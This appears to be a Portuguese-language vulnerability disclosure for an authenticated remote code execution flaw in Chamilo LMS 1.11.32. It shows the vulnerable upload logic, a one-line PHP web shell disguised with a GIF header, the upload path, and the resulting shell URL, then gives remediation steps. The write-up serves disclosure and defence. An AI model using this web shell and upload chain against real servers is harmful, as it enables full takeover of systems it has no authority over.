
Olá, sou o K, esta é a minha primeira CVE, que é uma vulnerabilidade de Execução Remota de Código (RCE). É o começo da minha jornada como pesquisador de segurança.
Execução Remota de Código Autenticada no Chamilo LMS 1.11.32 via validação inadequada de upload de arquivo no endpoint AJAX
ck_uploadimage. Um estudante com privilégios baixos pode enviar um web shell PHP disfarçado de imagem, comprometendo totalmente o servidor.
| Campo | Detalhes |
|---|---|
| Produto | Chamilo LMS |
| Versão | 1.11.32 (Confirmada) |
| Vulnerabilidade | Upload de Arquivo Irrestrito com Tipo Perigoso (CWE-434) |
| Impacto | Execução Remota de Código Autenticada (RCE) |
| CVSS v3.1 | 8.8 (ALTA) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Autenticação Necessária | ✅ Sim — Papel de Estudante (Privilégio Baixo) |
| CWE | CWE-434: Upload Irrestrito de Arquivo com Tipo Perigoso |
| Descoberto Por | MENG HOKSENG |
POST /main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=[COURSE_ID]
Arquivo Vulnerável: main/inc/ajax/document.ajax.php
Função Vulnerável: ck_uploadimage
O manipulador de upload realiza apenas validação de tipo MIME usando a função mime_content_type() do PHP, que inspeciona os bytes mágicos do arquivo (primeiros bytes do conteúdo), não a extensão do arquivo.
// Lógica de validação vulnerável (simplificada)
$mime = mime_content_type($_FILES['upload']['tmp_name']);
if (!mimeAccepted($mime, ['image'])) {
die("Tipo de arquivo inválido");
}
// ❌ Sem validação de extensão
// ❌ Sem sanitização do nome do arquivo
move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath . $fileUploadName);
Duas fraquezas separadas se combinam em uma cadeia de exploração completa:
GIF89a) ao código PHP.php, em um diretório acessível pela webUm arquivo malicioso é criado da seguinte forma:
GIF89a;<?php system($_GET['cmd']); ?>
mime_content_type() lê GIF89a → classifica como image/gif → passa na validaçãomove_uploaded_file() salva como shell.php em /app/upload/users/<id>/ → diretamente executável via navegadorExecute o exploit completo que faz login como estudante para realizar o upload do arquivo automaticamente
Após executar o exploit completo em Python, podemos encontrar nosso web shell enviado em http://localhost:8081/app/upload/users/3/3/my_fileszhxoxgwj.php?cmd=id

A exploração bem-sucedida desta vulnerabilidade resulta em comprometimento total do servidor a partir de uma conta de nível estudante:
Impacto CIA: Perda completa de Confidencialidade, Integridade e Disponibilidade.
▪ Aplicar lista de permissões estrita de extensões de arquivo Apenas extensões de arquivo de imagem explicitamente permitidas (ex.: .jpg, .png, .gif) devem ser aceitas. Arquivos enviados com extensões executáveis como .php, .phtml ou .phar devem ser rejeitados independentemente do tipo MIME.
▪ Não confiar apenas na validação de tipo MIME Verificações de tipo MIME usando funções como mime_content_type() não devem ser usadas como controle de segurança primário, pois podem ser contornadas usando cabeçalhos de arquivo forjados. A validação MIME deve ser usada apenas como verificação secundária.
▪ Armazenar arquivos enviados fora de diretórios acessíveis pela web O conteúdo enviado deve ser armazenado em um diretório que não seja diretamente acessível pelo servidor web. Se o acesso público for necessário, os arquivos devem ser servidos por meio de um manipulador controlado, em vez de acesso direto.
MENG HOKSENG
Pesquisador de Segurança Independente
Este projeto é disponibilizado apenas para fins educacionais e de pesquisa de segurança autorizada. O autor não é responsável por qualquer uso indevido ou dano causado por este exploit. Sempre obtenha autorização escrita explícita antes de realizar avaliações de segurança.